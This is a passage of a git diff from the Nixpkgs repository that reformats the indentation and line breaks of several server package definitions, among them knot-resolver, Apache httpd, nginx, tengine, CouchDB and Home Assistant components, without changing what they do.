-      VERSION=${finalAttrs.version} yarn build:vscode
+    # Build code-server and VS Code.
+    yarn build
+    VERSION=${finalAttrs.version} yarn build:vscode
 
-      # Inject version into package.json.
-      jq --slurp '.[0] * .[1]' ./package.json <(
-        cat << EOF
-      {
-        "version": "${finalAttrs.version}"
-      }
-      EOF
-      ) | sponge ./package.json
+    # Inject version into package.json.
+    jq --slurp '.[0] * .[1]' ./package.json <(
+      cat << EOF
+    {
+      "version": "${finalAttrs.version}"
+    }
+    EOF
+    ) | sponge ./package.json
 
-      # Create release, keeping all dependencies.
-      KEEP_MODULES=1 yarn release
+    # Create release, keeping all dependencies.
+    KEEP_MODULES=1 yarn release
 
-      # Prune development dependencies.  We only need to do this for the root as
-      # the VS Code build process already does this for VS Code.
-      npm prune --omit=dev --prefix release
+    # Prune development dependencies.  We only need to do this for the root as
+    # the VS Code build process already does this for VS Code.
+    npm prune --omit=dev --prefix release
 
-      runHook postBuild
-    '';
+    runHook postBuild
+  '';
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/servers/dns/knot-resolver/default.nix b/pkgs/servers/dns/knot-resolver/default.nix
index a6ae26271324..a589b7fb93bb 100644
--- a/pkgs/servers/dns/knot-resolver/default.nix
+++ b/pkgs/servers/dns/knot-resolver/default.nix
@@ -48,33 +48,32 @@ let
     ];
 
     # Path fixups for the NixOS service.
-    postPatch =
-      ''
-        patch meson.build <<EOF
-        @@ -50,2 +50,2 @@
-        -systemd_work_dir = prefix / get_option('localstatedir') / 'lib' / 'knot-resolver'
-        -systemd_cache_dir = prefix / get_option('localstatedir') / 'cache' / 'knot-resolver'
-        +systemd_work_dir  = '/var/lib/knot-resolver'
-        +systemd_cache_dir = '/var/cache/knot-resolver'
-        EOF
+    postPatch = ''
+      patch meson.build <<EOF
+      @@ -50,2 +50,2 @@
+      -systemd_work_dir = prefix / get_option('localstatedir') / 'lib' / 'knot-resolver'
+      -systemd_cache_dir = prefix / get_option('localstatedir') / 'cache' / 'knot-resolver'
+      +systemd_work_dir  = '/var/lib/knot-resolver'
+      +systemd_cache_dir = '/var/cache/knot-resolver'
+      EOF
 
-        # ExecStart can't be overwritten in overrides.
-        # We need that to use wrapped executable and correct config file.
-        sed '/^ExecStart=/d' -i systemd/kresd@.service.in
+      # ExecStart can't be overwritten in overrides.
+      # We need that to use wrapped executable and correct config file.
+      sed '/^ExecStart=/d' -i systemd/kresd@.service.in
 
-        # On x86_64-darwin loading by soname fails to find the libs, surprisingly.
-        # Even though they should already be loaded and they're in RPATH, too.
-        for f in daemon/lua/{kres,zonefile}.lua; do
-          substituteInPlace "$f" \
-            --replace-fail "ffi.load(" "ffi.load('${lib.getLib knot-dns}/lib/' .. "
-        done
-      ''
-      # some tests have issues with network sandboxing, apparently
-      + optionalString doInstallCheck ''
-        echo 'os.exit(77)' > daemon/lua/trust_anchors.test/bootstrap.test.lua
-        sed -E '/^[[:blank:]]*test_(dstaddr|headers),?$/d' -i \
-          tests/config/doh2.test.lua modules/http/http_doh.test.lua
-      '';
+      # On x86_64-darwin loading by soname fails to find the libs, surprisingly.
+      # Even though they should already be loaded and they're in RPATH, too.
+      for f in daemon/lua/{kres,zonefile}.lua; do
+        substituteInPlace "$f" \
+          --replace-fail "ffi.load(" "ffi.load('${lib.getLib knot-dns}/lib/' .. "
+      done
+    ''
+    # some tests have issues with network sandboxing, apparently
+    + optionalString doInstallCheck ''
+      echo 'os.exit(77)' > daemon/lua/trust_anchors.test/bootstrap.test.lua
+      sed -E '/^[[:blank:]]*test_(dstaddr|headers),?$/d' -i \
+        tests/config/doh2.test.lua modules/http/http_doh.test.lua
+    '';
 
     preConfigure = ''
       patchShebangs scripts/
@@ -87,52 +86,49 @@ let
     ];
 
     # http://knot-resolver.readthedocs.io/en/latest/build.html#requirements
-    buildInputs =
-      [
-        knot-dns
-        lua.lua
-        libuv
-        gnutls
-        lmdb
-      ]
-      ## the rest are optional dependencies
-      ++ optionals stdenv.hostPlatform.isLinux [
-        # lib
-        systemd
-        libcap_ng
-      ]
-      ++ [
-        jemalloc
-        nghttp2
-      ]
-      ++ [
-        fstrm
-        protobufc
-      ] # dnstap support
+    buildInputs = [
+      knot-dns
+      lua.lua
+      libuv
+      gnutls
+      lmdb
+    ]
+    ## the rest are optional dependencies
+    ++ optionals stdenv.hostPlatform.isLinux [
+      # lib
+      systemd
+      libcap_ng
+    ]
+    ++ [
+      jemalloc
+      nghttp2
+    ]
+    ++ [
+      fstrm
+      protobufc
+    ] # dnstap support
     ;
 
-    mesonFlags =
-      [
-        "-Dkeyfile_default=${dns-root-data}/root.ds"
-        "-Droot_hints=${dns-root-data}/root.hints"
-        "-Dinstall_kresd_conf=disabled" # not really useful; examples are inside share/doc/
-        "-Dmalloc=jemalloc"
-        "--default-library=static" # not used by anyone
-      ]
-      ++ optional doInstallCheck "-Dunit_tests=enabled"
-      ++ optional doInstallCheck "-Dconfig_tests=enabled"
-      ++ optional stdenv.hostPlatform.isLinux "-Dsystemd_files=enabled" # used by NixOS service
+    mesonFlags = [
+      "-Dkeyfile_default=${dns-root-data}/root.ds"
+      "-Droot_hints=${dns-root-data}/root.hints"
+      "-Dinstall_kresd_conf=disabled" # not really useful; examples are inside share/doc/
+      "-Dmalloc=jemalloc"
+      "--default-library=static" # not used by anyone
+    ]
+    ++ optional doInstallCheck "-Dunit_tests=enabled"
+    ++ optional doInstallCheck "-Dconfig_tests=enabled"
+    ++ optional stdenv.hostPlatform.isLinux "-Dsystemd_files=enabled" # used by NixOS service
     #"-Dextra_tests=enabled" # not suitable as in-distro tests; many deps, too.
     ;
 
-    postInstall =
-      ''
-        rm "$out"/lib/libkres.a
-        rm "$out"/lib/knot-resolver/upgrade-4-to-5.lua # not meaningful on NixOS
-      ''
-      + optionalString stdenv.hostPlatform.isLinux ''
-        rm -r "$out"/lib/sysusers.d/ # ATM more likely to harm than help
-      '';
+    postInstall = ''
+      rm "$out"/lib/libkres.a
+      rm "$out"/lib/knot-resolver/upgrade-4-to-5.lua # not meaningful on NixOS
+    ''
+    + optionalString stdenv.hostPlatform.isLinux ''
+      rm -r "$out"/lib/sysusers.d/ # ATM more likely to harm than help
+    '';
 
     doInstallCheck = with stdenv; hostPlatform == buildPlatform;
     nativeInstallCheckInputs = [
diff --git a/pkgs/servers/firebird/default.nix b/pkgs/servers/firebird/default.nix
index dca4bf5146d1..557231de14f3 100644
--- a/pkgs/servers/firebird/default.nix
+++ b/pkgs/servers/firebird/default.nix
@@ -43,7 +43,8 @@ let
 
     configureFlags = [
       "--with-system-editline"
-    ] ++ (lib.optional superServer "--enable-superserver");
+    ]
+    ++ (lib.optional superServer "--enable-superserver");
 
     installPhase = ''
       runHook preInstall
diff --git a/pkgs/servers/home-assistant/build-custom-component/default.nix b/pkgs/servers/home-assistant/build-custom-component/default.nix
index a3b5b5d5e834..1033f50d045d 100644
--- a/pkgs/servers/home-assistant/build-custom-component/default.nix
+++ b/pkgs/servers/home-assistant/build-custom-component/default.nix
@@ -55,11 +55,13 @@ home-assistant.python.pkgs.buildPythonPackage (
 
     passthru = {
       isHomeAssistantComponent = true;
-    } // args.passthru or { };
+    }
+    // args.passthru or { };
 
     meta = {
       inherit (home-assistant.meta) platforms;
-    } // args.meta or { };
+    }
+    // args.meta or { };
 
   }
   // builtins.removeAttrs args [
diff --git a/pkgs/servers/home-assistant/custom-components/frigate/package.nix b/pkgs/servers/home-assistant/custom-components/frigate/package.nix
index c32451dfa188..792bd005462f 100644
--- a/pkgs/servers/home-assistant/custom-components/frigate/package.nix
+++ b/pkgs/servers/home-assistant/custom-components/frigate/package.nix
@@ -29,17 +29,16 @@ buildHomeAssistantComponent rec {
 
   dependencies = [ hass-web-proxy-lib ];
 
-  nativeCheckInputs =
-    [
-      homeassistant
-      pytest-aiohttp
-      pytest-cov-stub
-      pytest-homeassistant-custom-component
-      pytest-timeout
-      pytestCheckHook
-    ]
-    ++ (homeassistant.getPackages "mqtt" homeassistant.python.pkgs)
-    ++ (homeassistant.getPackages "stream" homeassistant.python.pkgs);
+  nativeCheckInputs = [
+    homeassistant
+    pytest-aiohttp
+    pytest-cov-stub
+    pytest-homeassistant-custom-component
+    pytest-timeout
+    pytestCheckHook
+  ]
+  ++ (homeassistant.getPackages "mqtt" homeassistant.python.pkgs)
+  ++ (homeassistant.getPackages "stream" homeassistant.python.pkgs);
 
   disabledTestPaths = [
     # https://github.com/blakeblackshear/frigate-hass-integration/issues/907
diff --git a/pkgs/servers/home-assistant/custom-components/yandex-station/package.nix b/pkgs/servers/home-assistant/custom-components/yandex-station/package.nix
index d825491b6605..9d1aa93c2125 100644
--- a/pkgs/servers/home-assistant/custom-components/yandex-station/package.nix
+++ b/pkgs/servers/home-assistant/custom-components/yandex-station/package.nix
@@ -26,7 +26,8 @@ buildHomeAssistantComponent rec {
   nativeCheckInputs = [
     home-assistant
     pytestCheckHook
-  ] ++ (home-assistant.getPackages "stream" home-assistant.python.pkgs);
+  ]
+  ++ (home-assistant.getPackages "stream" home-assistant.python.pkgs);
 
   meta = {
     description = "Controlling Yandex.Station and other smart home devices with Alice from Home Assistant";
diff --git a/pkgs/servers/http/apache-httpd/2.4.nix b/pkgs/servers/http/apache-httpd/2.4.nix
index cc73ff8591aa..dce4ce4ce0c9 100644
--- a/pkgs/servers/http/apache-httpd/2.4.nix
+++ b/pkgs/servers/http/apache-httpd/2.4.nix
@@ -66,19 +66,18 @@ stdenv.mkDerivation rec {
     which
   ];
 
-  buildInputs =
-    [
-      perl
-      libxcrypt
-      zlib
-    ]
-    ++ lib.optional brotliSupport brotli
-    ++ lib.optional sslSupport openssl
-    ++ lib.optional ldapSupport openldap
-    # there is no --with-ldap flag
-    ++ lib.optional libxml2Support libxml2
-    ++ lib.optional http2Support nghttp2
-    ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  buildInputs = [
+    perl
+    libxcrypt
+    zlib
+  ]
+  ++ lib.optional brotliSupport brotli
+  ++ lib.optional sslSupport openssl
+  ++ lib.optional ldapSupport openldap
+  # there is no --with-ldap flag
+  ++ lib.optional libxml2Support libxml2
+  ++ lib.optional http2Support nghttp2
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   postPatch = ''
     sed -i config.layout -e "s|installbuilddir:.*|installbuilddir: $dev/share/build|"
@@ -89,39 +88,38 @@ stdenv.mkDerivation rec {
   # Required for ‘pthread_cancel’.
   NIX_LDFLAGS = lib.optionalString (!stdenv.hostPlatform.isDarwin) "-lgcc_s";
 
-  configureFlags =
-    [
-      "--with-apr=${apr.dev}"
-      "--with-apr-util=${aprutil.dev}"
-      "--with-z=${zlib.dev}"
-      "--with-pcre=${pcre2.dev}/bin/pcre2-config"
-      "--disable-maintainer-mode"
-      "--disable-debugger-mode"
-      "--enable-mods-shared=all"
-      "--enable-mpms-shared=all"
-      "--enable-cern-meta"
-      "--enable-imagemap"
-      "--enable-cgi"
-      "--includedir=${placeholder "dev"}/include"
-      (lib.enableFeature proxySupport "proxy")
-      (lib.enableFeature sslSupport "ssl")
-      (lib.withFeatureAs libxml2Support "libxml2" "${libxml2.dev}/include/libxml2")
-      "--docdir=$(doc)/share/doc"
+  configureFlags = [
+    "--with-apr=${apr.dev}"
+    "--with-apr-util=${aprutil.dev}"
+    "--with-z=${zlib.dev}"
+    "--with-pcre=${pcre2.dev}/bin/pcre2-config"
+    "--disable-maintainer-mode"
+    "--disable-debugger-mode"
+    "--enable-mods-shared=all"
+    "--enable-mpms-shared=all"
+    "--enable-cern-meta"
+    "--enable-imagemap"
+    "--enable-cgi"
+    "--includedir=${placeholder "dev"}/include"
+    (lib.enableFeature proxySupport "proxy")
+    (lib.enableFeature sslSupport "ssl")
+    (lib.withFeatureAs libxml2Support "libxml2" "${libxml2.dev}/include/libxml2")
+    "--docdir=$(doc)/share/doc"
 
-      (lib.enableFeature brotliSupport "brotli")
-      (lib.withFeatureAs brotliSupport "brotli" brotli)
+    (lib.enableFeature brotliSupport "brotli")
+    (lib.withFeatureAs brotliSupport "brotli" brotli)
 
-      (lib.enableFeature http2Support "http2")
-      (lib.withFeature http2Support "nghttp2")
+    (lib.enableFeature http2Support "http2")
+    (lib.withFeature http2Support "nghttp2")
 
-      (lib.enableFeature luaSupport "lua")
-      (lib.withFeatureAs luaSupport "lua" lua5)
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      # skip bad config check when cross compiling
-      # https://gitlab.com/buildroot.org/buildroot/-/blob/5dae8cddeecf16c791f3c138542ec51c4e627d75/package/apache/apache.mk#L23
-      "ap_cv_void_ptr_lt_long=no"
-    ];
+    (lib.enableFeature luaSupport "lua")
+    (lib.withFeatureAs luaSupport "lua" lua5)
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    # skip bad config check when cross compiling
+    # https://gitlab.com/buildroot.org/buildroot/-/blob/5dae8cddeecf16c791f3c138542ec51c4e627d75/package/apache/apache.mk#L23
+    "ap_cv_void_ptr_lt_long=no"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/servers/http/apache-modules/mod_python/default.nix b/pkgs/servers/http/apache-modules/mod_python/default.nix
index 4f220790634f..667b4a6acd10 100644
--- a/pkgs/servers/http/apache-modules/mod_python/default.nix
+++ b/pkgs/servers/http/apache-modules/mod_python/default.nix
@@ -31,20 +31,19 @@ stdenv.mkDerivation (finalAttrs: {
     ensureNewerSourcesForZipFilesHook
   ];
 
-  buildInputs =
-    [
-      apacheHttpd
-      (python3.withPackages (
-        ps: with ps; [
-          distutils
-          packaging
-          setuptools
-        ]
-      ))
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libintl
-    ];
+  buildInputs = [
+    apacheHttpd
+    (python3.withPackages (
+      ps: with ps; [
+        distutils
+        packaging
+        setuptools
+      ]
+    ))
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libintl
+  ];
 
   passthru = {
     inherit apacheHttpd;
diff --git a/pkgs/servers/http/couchdb/3.nix b/pkgs/servers/http/couchdb/3.nix
index a5791beeec08..cb9ff47b9545 100644
--- a/pkgs/servers/http/couchdb/3.nix
+++ b/pkgs/servers/http/couchdb/3.nix
@@ -19,17 +19,16 @@ stdenv.mkDerivation rec {
     hash = "sha256-A1dRG2/tcOPmT051ql18wgAMsPJk7zAXArGBZCf3LyA=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace src/couch/rebar.config.script --replace '/usr/include/mozjs-91' "${spidermonkey_91.dev}/include/mozjs-91"
-      substituteInPlace configure --replace '/usr/include/''${SM_HEADERS}' "${spidermonkey_91.dev}/include/mozjs-91"
-      patchShebangs bin/rebar
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # LTO with Clang produces LLVM bitcode, which causes linking to fail quietly.
-      # (There are warnings, but no hard errors, and it produces an empty dylib.)
-      substituteInPlace src/jiffy/rebar.config.script --replace '"-flto"' '""'
-    '';
+  postPatch = ''
+    substituteInPlace src/couch/rebar.config.script --replace '/usr/include/mozjs-91' "${spidermonkey_91.dev}/include/mozjs-91"
+    substituteInPlace configure --replace '/usr/include/''${SM_HEADERS}' "${spidermonkey_91.dev}/include/mozjs-91"
+    patchShebangs bin/rebar
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # LTO with Clang produces LLVM bitcode, which causes linking to fail quietly.
+    # (There are warnings, but no hard errors, and it produces an empty dylib.)
+    substituteInPlace src/jiffy/rebar.config.script --replace '"-flto"' '""'
+  '';
 
   nativeBuildInputs = [
     erlang
diff --git a/pkgs/servers/http/nginx/generic.nix b/pkgs/servers/http/nginx/generic.nix
index 69dc64712451..34356f77fab4 100644
--- a/pkgs/servers/http/nginx/generic.nix
+++ b/pkgs/servers/http/nginx/generic.nix
@@ -97,84 +97,83 @@ stdenv.mkDerivation {
   nativeBuildInputs = [
     installShellFiles
     removeReferencesTo
-  ] ++ nativeBuildInputs;
+  ]
+  ++ nativeBuildInputs;
 
-  buildInputs =
-    [
-      openssl
-      zlib-ng
-      pcre2
-      libxml2
-      libxslt
-      perl
-    ]
-    ++ buildInputs
-    ++ mapModules "inputs"
-    ++ lib.optional withGeoIP geoip
-    ++ lib.optional withImageFilter gd;
+  buildInputs = [
+    openssl
+    zlib-ng
+    pcre2
+    libxml2
+    libxslt
+    perl
+  ]
+  ++ buildInputs
+  ++ mapModules "inputs"
+  ++ lib.optional withGeoIP geoip
+  ++ lib.optional withImageFilter gd;
 
-  configureFlags =
-    [
-      "--sbin-path=bin/nginx"
-      "--with-http_ssl_module"
-      "--with-http_v2_module"
-      "--with-http_realip_module"
-      "--with-http_addition_module"
-      "--with-http_xslt_module"
-      "--with-http_sub_module"
-      "--with-http_dav_module"
-      "--with-http_flv_module"
-      "--with-http_mp4_module"
-      "--with-http_gunzip_module"
-      "--with-http_gzip_static_module"
-      "--with-http_auth_request_module"
-      "--with-http_random_index_module"
-      "--with-http_secure_link_module"
-      "--with-http_degradation_module"
-      "--with-http_stub_status_module"
-      "--with-threads"
-      "--with-pcre-jit"
-      "--http-log-path=/var/log/nginx/access.log"
-      "--error-log-path=/var/log/nginx/error.log"
-      "--pid-path=/var/log/nginx/nginx.pid"
-      "--http-client-body-temp-path=/tmp/nginx_client_body"
-      "--http-proxy-temp-path=/tmp/nginx_proxy"
-      "--http-fastcgi-temp-path=/tmp/nginx_fastcgi"
-      "--http-uwsgi-temp-path=/tmp/nginx_uwsgi"
-      "--http-scgi-temp-path=/tmp/nginx_scgi"
-    ]
-    ++ lib.optionals withDebug [
-      "--with-debug"
-    ]
-    ++ lib.optionals withKTLS [
-      "--with-openssl-opt=enable-ktls"
-    ]
-    ++ lib.optionals withStream [
-      "--with-stream"
-      "--with-stream_realip_module"
-      "--with-stream_ssl_module"
-      "--with-stream_ssl_preread_module"
-    ]
-    ++ lib.optionals withMail [
-      "--with-mail"
-      "--with-mail_ssl_module"
-    ]
-    ++ lib.optionals withPerl [
-      "--with-http_perl_module"
-      "--with-perl=${perl}/bin/perl"
-      "--with-perl_modules_path=lib/perl5"
-    ]
-    ++ lib.optional withImageFilter "--with-http_image_filter_module"
-    ++ lib.optional withSlice "--with-http_slice_module"
-    ++ lib.optionals withGeoIP (
-      [ "--with-http_geoip_module" ] ++ lib.optional withStream "--with-stream_geoip_module"
-    )
-    ++ lib.optional (with stdenv.hostPlatform; isLinux || isFreeBSD) "--with-file-aio"
-    ++ lib.optional (
-      stdenv.buildPlatform != stdenv.hostPlatform
-    ) "--crossbuild=${stdenv.hostPlatform.uname.system}::${stdenv.hostPlatform.uname.processor}"
-    ++ configureFlags
-    ++ map (mod: "--add-module=${mod.src}") modules;
+  configureFlags = [
+    "--sbin-path=bin/nginx"
+    "--with-http_ssl_module"
+    "--with-http_v2_module"
+    "--with-http_realip_module"
+    "--with-http_addition_module"
+    "--with-http_xslt_module"
+    "--with-http_sub_module"
+    "--with-http_dav_module"
+    "--with-http_flv_module"
+    "--with-http_mp4_module"
+    "--with-http_gunzip_module"
+    "--with-http_gzip_static_module"
+    "--with-http_auth_request_module"
+    "--with-http_random_index_module"
+    "--with-http_secure_link_module"
+    "--with-http_degradation_module"
+    "--with-http_stub_status_module"
+    "--with-threads"
+    "--with-pcre-jit"
+    "--http-log-path=/var/log/nginx/access.log"
+    "--error-log-path=/var/log/nginx/error.log"
+    "--pid-path=/var/log/nginx/nginx.pid"
+    "--http-client-body-temp-path=/tmp/nginx_client_body"
+    "--http-proxy-temp-path=/tmp/nginx_proxy"
+    "--http-fastcgi-temp-path=/tmp/nginx_fastcgi"
+    "--http-uwsgi-temp-path=/tmp/nginx_uwsgi"
+    "--http-scgi-temp-path=/tmp/nginx_scgi"
+  ]
+  ++ lib.optionals withDebug [
+    "--with-debug"
+  ]
+  ++ lib.optionals withKTLS [
+    "--with-openssl-opt=enable-ktls"
+  ]
+  ++ lib.optionals withStream [
+    "--with-stream"
+    "--with-stream_realip_module"
+    "--with-stream_ssl_module"
+    "--with-stream_ssl_preread_module"
+  ]
+  ++ lib.optionals withMail [
+    "--with-mail"
+    "--with-mail_ssl_module"
+  ]
+  ++ lib.optionals withPerl [
+    "--with-http_perl_module"
+    "--with-perl=${perl}/bin/perl"
+    "--with-perl_modules_path=lib/perl5"
+  ]
+  ++ lib.optional withImageFilter "--with-http_image_filter_module"
+  ++ lib.optional withSlice "--with-http_slice_module"
+  ++ lib.optionals withGeoIP (
+    [ "--with-http_geoip_module" ] ++ lib.optional withStream "--with-stream_geoip_module"
+  )
+  ++ lib.optional (with stdenv.hostPlatform; isLinux || isFreeBSD) "--with-file-aio"
+  ++ lib.optional (
+    stdenv.buildPlatform != stdenv.hostPlatform
+  ) "--crossbuild=${stdenv.hostPlatform.uname.system}::${stdenv.hostPlatform.uname.processor}"
+  ++ configureFlags
+  ++ map (mod: "--add-module=${mod.src}") modules;
 
   env.NIX_CFLAGS_COMPILE = toString (
     [
@@ -207,12 +206,11 @@ stdenv.mkDerivation {
 
   # Disable _multioutConfig hook which adds --bindir=$out/bin into configureFlags,
   # which breaks build, since nginx does not actually use autoconf.
-  preConfigure =
-    ''
-      setOutputFlags=
-    ''
-    + preConfigure
-    + lib.concatMapStringsSep "\n" (mod: mod.preConfigure or "") modules;
+  preConfigure = ''
+    setOutputFlags=
+  ''
+  + preConfigure
+  + lib.concatMapStringsSep "\n" (mod: mod.preConfigure or "") modules;
 
   patches =
     map fixPatch (
@@ -248,18 +246,17 @@ stdenv.mkDerivation {
 
   enableParallelBuilding = true;
 
-  preInstall =
-    ''
-      mkdir -p $doc
-      cp -r ${nginx-doc}/* $doc
+  preInstall = ''
+    mkdir -p $doc
+    cp -r ${nginx-doc}/* $doc
 
-      # TODO: make it unconditional when `openresty` and `nginx` are not
-      # sharing this code.
-      if [[ -e man/nginx.8 ]]; then
-        installManPage man/nginx.8
-      fi
-    ''
-    + preInstall;
+    # TODO: make it unconditional when `openresty` and `nginx` are not
+    # sharing this code.
+    if [[ -e man/nginx.8 ]]; then
+      installManPage man/nginx.8
+    fi
+  ''
+  + preInstall;
 
   disallowedReferences = map (m: m.src) modules;
 
@@ -289,7 +286,8 @@ stdenv.mkDerivation {
         ;
       variants = lib.recurseIntoAttrs nixosTests.nginx-variants;
       acme-integration = nixosTests.acme.nginx;
-    } // passthru.tests;
+    }
+    // passthru.tests;
   };
 
   meta =
diff --git a/pkgs/servers/http/tengine/default.nix b/pkgs/servers/http/tengine/default.nix
index d60b8ec7815b..5a856b21c541 100644
--- a/pkgs/servers/http/tengine/default.nix
+++ b/pkgs/servers/http/tengine/default.nix
@@ -46,7 +46,8 @@ stdenv.mkDerivation rec {
     geoip
     gperftools
     jemalloc
-  ] ++ lib.concatMap (mod: mod.inputs or [ ]) modules;
+  ]
+  ++ lib.concatMap (mod: mod.inputs or [ ]) modules;
 
   patches = [
     ../nginx/nix-etag-1.15.4.patch
@@ -60,76 +61,75 @@ stdenv.mkDerivation rec {
       --replace-fail '@nixStoreDirLen@' "''${#NIX_STORE}"
   '';
 
-  configureFlags =
-    [
-      "--with-http_ssl_module"
-      "--with-http_v2_module"
-      "--with-http_realip_module"
-      "--with-http_addition_module"
-      "--with-http_xslt_module"
-      "--with-http_geoip_module"
-      "--with-http_sub_module"
-      "--with-http_dav_module"
-      "--with-http_flv_module"
-      "--with-http_mp4_module"
-      "--with-http_gunzip_module"
-      "--with-http_gzip_static_module"
-      "--with-http_auth_request_module"
-      "--with-http_random_index_module"
-      "--with-http_secure_link_module"
-      "--with-http_degradation_module"
-      "--with-http_stub_status_module"
-      "--with-threads"
-      "--with-pcre-jit"
-      "--with-http_slice_module"
-      "--with-select_module"
-      "--with-poll_module"
-      "--with-google_perftools_module"
-      "--with-jemalloc"
-      "--http-log-path=/var/log/nginx/access.log"
-      "--error-log-path=/var/log/nginx/error.log"
-      "--pid-path=/var/log/nginx/nginx.pid"
-      "--http-client-body-temp-path=/var/cache/nginx/client_body"
-      "--http-proxy-temp-path=/var/cache/nginx/proxy"
-      "--http-fastcgi-temp-path=/var/cache/nginx/fastcgi"
-      "--http-uwsgi-temp-path=/var/cache/nginx/uwsgi"
-      "--http-scgi-temp-path=/var/cache/nginx/scgi"
-    ]
-    ++ optionals withDebug [
-      "--with-debug"
-    ]
-    ++ optionals withMail [
-      "--with-mail"
-      "--with-mail_ssl_module"
-    ]
-    ++ optionals (!withMail) [
-      "--without-mail_pop3_module"
-      "--without-mail_imap_module"
-      "--without-mail_smtp_module"
-    ]
-    ++ optionals withStream [
-      "--with-stream"
-      "--with-stream_ssl_module"
-      "--with-stream_realip_module"
-      "--with-stream_geoip_module"
-      "--with-stream_ssl_preread_module"
-      "--with-stream_sni"
-    ]
-    ++ optionals (!withStream) [
-      "--without-stream_limit_conn_module"
-      "--without-stream_access_module"
-      "--without-stream_geo_module"
-      "--without-stream_map_module"
-      "--without-stream_split_clients_module"
-      "--without-stream_return_module"
-      "--without-stream_upstream_hash_module"
-      "--without-stream_upstream_least_conn_module"
-      "--without-stream_upstream_random_module"
-      "--without-stream_upstream_zone_module"
-    ]
-    ++ optional (gd != null) "--with-http_image_filter_module"
-    ++ optional (with stdenv.hostPlatform; isLinux || isFreeBSD) "--with-file-aio"
-    ++ map (mod: "--add-module=${mod.src}") modules;
+  configureFlags = [
+    "--with-http_ssl_module"
+    "--with-http_v2_module"
+    "--with-http_realip_module"
+    "--with-http_addition_module"
+    "--with-http_xslt_module"
+    "--with-http_geoip_module"
+    "--with-http_sub_module"
+    "--with-http_dav_module"
+    "--with-http_flv_module"
+    "--with-http_mp4_module"
+    "--with-http_gunzip_module"
+    "--with-http_gzip_static_module"
+    "--with-http_auth_request_module"
+    "--with-http_random_index_module"
+    "--with-http_secure_link_module"
+    "--with-http_degradation_module"
+    "--with-http_stub_status_module"
+    "--with-threads"
+    "--with-pcre-jit"
+    "--with-http_slice_module"
+    "--with-select_module"
+    "--with-poll_module"
+    "--with-google_perftools_module"
+    "--with-jemalloc"
+    "--http-log-path=/var/log/nginx/access.log"
+    "--error-log-path=/var/log/nginx/error.log"
+    "--pid-path=/var/log/nginx/nginx.pid"
+    "--http-client-body-temp-path=/var/cache/nginx/client_body"
+    "--http-proxy-temp-path=/var/cache/nginx/proxy"
+    "--http-fastcgi-temp-path=/var/cache/nginx/fastcgi"
+    "--http-uwsgi-temp-path=/var/cache/nginx/uwsgi"
+    "--http-scgi-temp-path=/var/cache/nginx/scgi"
+  ]
+  ++ optionals withDebug [
+    "--with-debug"
+  ]
+  ++ optionals withMail [
+    "--with-mail"
+    "--with-mail_ssl_module"
+  ]
+  ++ optionals (!withMail) [
+    "--without-mail_pop3_module"
+    "--without-mail_imap_module"
+    "--without-mail_smtp_module"
+  ]
+  ++ optionals withStream [
+    "--with-stream"
+    "--with-stream_ssl_module"
+    "--with-stream_realip_module"
+    "--with-stream_geoip_module"
+    "--with-stream_ssl_preread_module"
+    "--with-stream_sni"
+  ]
+  ++ optionals (!withStream) [
+    "--without-stream_limit_conn_module"
+    "--without-stream_access_module"
+    "--without-stream_geo_module"
+    "--without-stream_map_module"
+    "--without-stream_split_clients_module"
+    "--without-stream_return_module"
+    "--without-stream_upstream_hash_module"
+    "--without-stream_upstream_least_conn_module"
+    "--without-stream_upstream_random_module"
+    "--without-stream_upstream_zone_module"
+  ]
+  ++ optional (gd != null) "--with-http_image_filter_module"
+  ++ optional (with stdenv.hostPlatform; isLinux || isFreeBSD) "--with-file-aio"
+  ++ map (mod: "--add-module=${mod.src}") modules;
 
   env.NIX_CFLAGS_COMPILE =
     "-I${libxml2.dev}/include/libxml2 -Wno-error=implicit-fallthrough"
diff --git a/pkgs/servers/irc/solanum/default.nix b/pkgs/servers/irc/solanum/default.nix
index a2dcb6b4aa1a..09ca47879405 100644
--- a/pkgs/servers/irc/solanum/default.nix
+++ b/pkgs/servers/irc/solanum/default.nix
@@ -33,19 +33,18 @@ stdenv.mkDerivation {
     substituteInPlace include/defaults.h --replace 'ETCPATH "' '"/etc/solanum'
   '';
 
-  configureFlags =
-    [
-      "--enable-epoll"
-      "--enable-ipv6"
-      "--enable-openssl=${openssl.dev}"
-      "--with-program-prefix=solanum-"
-      "--localstatedir=/var/lib"
-      "--with-rundir=/run"
-      "--with-logdir=/var/log"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      "--enable-sctp=${lksctp-tools.out}/lib"
-    ];
+  configureFlags = [
+    "--enable-epoll"
+    "--enable-ipv6"
+    "--enable-openssl=${openssl.dev}"
+    "--with-program-prefix=solanum-"
+    "--localstatedir=/var/lib"
+    "--with-rundir=/run"
+    "--with-logdir=/var/log"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    "--enable-sctp=${lksctp-tools.out}/lib"
+  ];
 
   nativeBuildInputs = [
     autoreconfHook
diff --git a/pkgs/servers/klipper/klipper-flash.nix b/pkgs/servers/klipper/klipper-flash.nix
index 866e39842167..7a6652580654 100644
--- a/pkgs/servers/klipper/klipper-flash.nix
+++ b/pkgs/servers/klipper/klipper-flash.nix
@@ -25,14 +25,13 @@ let
 in
 writeShellApplication {
   name = "klipper-flash-${mcu}";
-  runtimeInputs =
-    [
-      python3
-      pkgsCross.avr.stdenv.cc
-      gnumake
-    ]
-    ++ lib.optionals (boardArch == "avr") [ avrdude ]
-    ++ lib.optionals (boardArch == "stm32") [ stm32flash ];
+  runtimeInputs = [
+    python3
+    pkgsCross.avr.stdenv.cc
+    gnumake
+  ]
+  ++ lib.optionals (boardArch == "avr") [ avrdude ]
+  ++ lib.optionals (boardArch == "stm32") [ stm32flash ];
   text = ''
     if ${lib.boolToString (!builtins.elem boardArch supportedArches)}; then
